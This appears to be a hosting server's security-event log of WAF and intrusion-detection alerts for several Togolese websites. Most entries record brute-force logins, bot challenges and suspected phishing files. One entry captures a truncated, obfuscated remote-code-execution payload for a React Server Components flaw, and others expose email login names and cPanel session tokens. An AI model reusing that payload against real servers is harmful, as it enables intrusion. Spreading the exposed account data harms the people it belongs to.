103.108.92.94 - - [15/Jun/2026:13:26:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12829588&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530005 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:13:26:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725546&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530007 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.sinalcotg.snb.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__521b0483\":[],\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var eahdt=arguments['\\\\x31'];var jf=eahdt;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.70.157.25
country_id: 6252001
description:
Jun 15 13:28:12 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.70.157.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.70.157.25
country_id: 6252001
description:
2026-06-15 13:28:14 dovecot_login authenticator failed for H=(n233-h209.a-tc.net) [152.70.157.25]:39634: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">le pr\xc3\xa9sident du conseil, faure essozimna gnassingb\xc3\xa9, a proc\xc3\xa9d\xc3\xa9 \xc3\xa0 l\xe2\x80\x99inauguration de la phase 1 du campus nord de l\xe2\x80\x99universit\xc3\xa9 de kara. ce projet majeur renforce l\xe2\x80\x99offre d\xe2\x80\x99enseignement sup\xc3\xa9rieur dans le nord du pays.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cette r\xc3\xa9alisation t\xc3\xa9moigne de l\xe2\x80\x99engagement du gouvernement en faveur de la jeunesse et du d\xc3\xa9veloppement r\xc3\xa9gional \xc3\xa9quilibr\xc3\xa9. des milliers d\xe2\x80\x99\xc3\xa9tudiants devraient b\xc3\xa9n\xc3\xa9ficier de ces nouvelles infrastructures modernes.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">l\xe2\x80\x99\xc3\xa9v\xc3\xa9nement a r\xc3\xa9uni les autorit\xc3\xa9s locales, le corps enseignant et les populations environnantes dans une ambiance festive.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">ce geste symbolique s\xe2\x80\x99inscrit parfaitement dans les pr\xc3\xa9paratifs de la f\xc3\xaate de l\xe2\x80\x99ind\xc3\xa9pendance.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.152.80
country_id: 2363686
description:
102.64.152.80 - - [15/Jun/2026:13:28:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9948010&pdata=https%253A%252F%252Fwww.dagl.tg%252Farticles%252F130-operation-de-salubrite-du-dagl-dans-le-quartier-administratif-de-lome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530090 HTTP/2.0" 302 0 www.dagl.tg "https://www.yandex.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/386.1.806391101 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.152.80


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.189.214.3
country_id: 2017370
description:
Jun 15 13:28:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.189.214.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.189.214.3
country_id: 2017370
description:
2026-06-15 13:28:22 dovecot_login authenticator failed for H=([27.123.112.126]) [90.189.214.3]:56772: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.67
country_id: 3469034
description:
Jun 15 13:30:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.67 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 148.222.222.224
country_id: 3865483
description:
148.222.222.224 - - [15/Jun/2026:13:33:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646475&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftrois-3-ouvrages-deau-potable-bientot-disponibles-dans-le-grand-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530382 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/trois-3-ouvrages-deau-potable-bientot-disponibles-dans-le-grand-lome/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.8718.1777 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:148.222.222.224


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.205.90
country_id: 3895114
description:
[2026-06-15 13:32:42 +0000] info [whostmgrd] 148.222.205.90 - netwhmcstg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:33:46 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 13:34:13 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 13:34:14 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:33:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.124.178
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/14.jpeg HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 67.227.112.204
country_id: 6252001
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:67.227.112.204||TA:67.227.112.204||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 86.206.29.200
country_id: 3017382
domain: misstogo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/4?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.179.92.12
country_id: 3865483
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/apotheose-odon-itsu-2023 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.139.39.150
country_id: 1814991
description:
Jun 15 13:39:17 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.139.39.150 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.172.58
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.186.172.58||TA:192.186.172.58||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-15 13:38:56 +0000] info [cpaneld] 181.113.114.61 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.38.181
country_id: 6251999
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.38.181||TA:104.239.38.181||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.177.205.172
country_id: 3437598
description:
45.177.205.172 - - [15/Jun/2026:13:39:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788713&pdata=https%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530743 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.7553.1928 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.177.205.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.86.62
country_id: 1269750
description:
Jun 15 13:39:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.86.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-06-15 13:39:34 dovecot_login authenticator failed for H=([222.128.15.132]) [182.78.86.62]:51944: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.172.163.209
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.172.163.209||TA:107.172.163.209||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.139.39.150
country_id: 1814991
description:
2026-06-15 13:39:19 dovecot_login authenticator failed for H=([61.32.68.66]) [182.139.39.150]:34942: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.249.27.185
country_id: 3996063
description:
2026-06-15 13:41:03 dovecot_plain authenticator failed for H=(x7yix0xnfl0gbn902s) [177.249.27.185]:35440: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.109.96
country_id: 1880251
domain: auditeccandco.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.134.170
country_id: 2510769
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.112.134.170||TA:92.112.134.170||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/15/2026:13:41:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:13:42:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079451&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530918 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:41:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7499414&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530916 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 157.22.72.124
country_id: 2635167
domain: www.butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi.www.butodra.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 157.22.103.193
country_id: 2077456
domain: www.butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:DdWiN@CZ3v47.www.butodra.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [15/Jun/2026:13:42:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920647&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781530950 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.41.119
country_id: 6251999
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.41.119||TA:104.252.41.119||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.143
country_id: 1880251
description:
47.128.96.143 - - [15/Jun/2026:13:43:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262373&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531010 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.143


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [15/Jun/2026:13:43:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040663&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Futilisation-des-moyens-de-paiement-numeriques-dans-ladministration-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531023 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/utilisation-des-moyens-de-paiement-numeriques-dans-ladministration-togolaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.167
country_id: 2635167
description:
[2026-06-15 13:44:03 +0000] info [cpaneld] 5.230.153.167 NEW wcnyaruu:ZXLc6Z5ZLht0E20z address=5.230.153.167,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350309
name: IM360 WAF: Hidden file access
abuser: 5.230.153.156
country_id: 2635167
domain: lcr-adem.org
description:
IM360 WAF: Hidden file access||RSV:8.17||T:APACHE||QS:to=bobilopaol@universitasnasional506.onmicrosoft.com||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">a deux jours des c\xc3\xa9l\xc3\xa9brations nationales, les forces de d\xc3\xa9fense, les associations et les jeunes finalisent les pr\xc3\xa9paratifs du d\xc3\xa9fil\xc3\xa9 militaire et civil. une ambiance patriotique r\xc3\xa8gne dans la capitale.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les organisateurs insistent sur la discipline et la coordination pour offrir un spectacle \xc3\xa0 la hauteur des attentes des togolais.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">des milliers de participants sont mobilis\xc3\xa9s, symbolisant l\xe2\x80\x99unit\xc3\xa9 du pays.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cette mobilisation traduit l\xe2\x80\x99attachement profond des citoyens \xc3\xa0 leur histoire commune.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-15 13:44:33 +0000] info [cpaneld] 5.230.133.44 NEW wcnyaruu:wSLbmBXWjpvUutER address=5.230.133.44,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 86.206.29.200
country_id: 3017382
domain: misstogo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.182
country_id: 1880251
description:
47.128.96.182 - - [15/Jun/2026:13:46:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313770&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-annee-scolaire-2020-2021-les-cours-setendront-de-lundi-a-samedi-y-compris-les-mercredis-soir%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531176 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-annee-scolaire-2020-2021-les-cours-setendront-de-lundi-a-samedi-y-compris-les-mercredis-soir/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.182


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [15/Jun/2026:13:45:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803671&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531149 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [15/Jun/2026:13:45:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10077291&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-bac-1-les-resultats-de-lenseignement-general-deja-disponibles-voici-comment-consulter-par-telephone%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531157 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-bac-1-les-resultats-de-lenseignement-general-deja-disponibles-voici-comment-consulter-par-telephone/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [15/Jun/2026:13:45:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789015&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-annee-scolaire-2020-2021-les-cours-setendront-de-lundi-a-samedi-y-compris-les-mercredis-soir%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531130 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-annee-scolaire-2020-2021-les-cours-setendront-de-lundi-a-samedi-y-compris-les-mercredis-soir/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.18
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.657388658629746.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-15 13:47:05 +0000] info [cpaneld] 5.175.229.179 NEW ifxmoxbf:UQ40J2ceLLkh_j1s address=5.175.229.179,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.182
country_id: 1880251
description:
47.128.96.182 - - [15/Jun/2026:13:47:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866022&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531229 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.182


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.83.234
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.167484430180188.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [15/Jun/2026:13:46:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515093&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531196 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.166
country_id: 3469034
description:
Jun 15 13:46:57 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 170.168.240.199
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:hgd1gtiis@csoawv.butodra.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.174
country_id: 3017382
description:
[2026-06-15 13:47:35 +0000] info [cpaneld] 5.231.255.174 NEW ifxmoxbf:NvtUEjBgkDphGG5y address=5.231.255.174,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.244
country_id: 6252001
description:
[2026-06-15 13:47:35 +0000] info [cpaneld] 64.44.59.244 NEW ifxmoxbf:eiUm9O1Wo8GNeMuc address=64.44.59.244,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.34
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.518567902624313.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.82.182
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.326732866195601.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.hofbraeubeer.snb.tg
description:


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.hofbraeu.snb.tg
description:


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.hofbraubeer.snb.tg
description:


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: www.hofbrau.snb.tg
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-15 13:50:11 +0000] info [cpaneld] 181.113.114.61 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
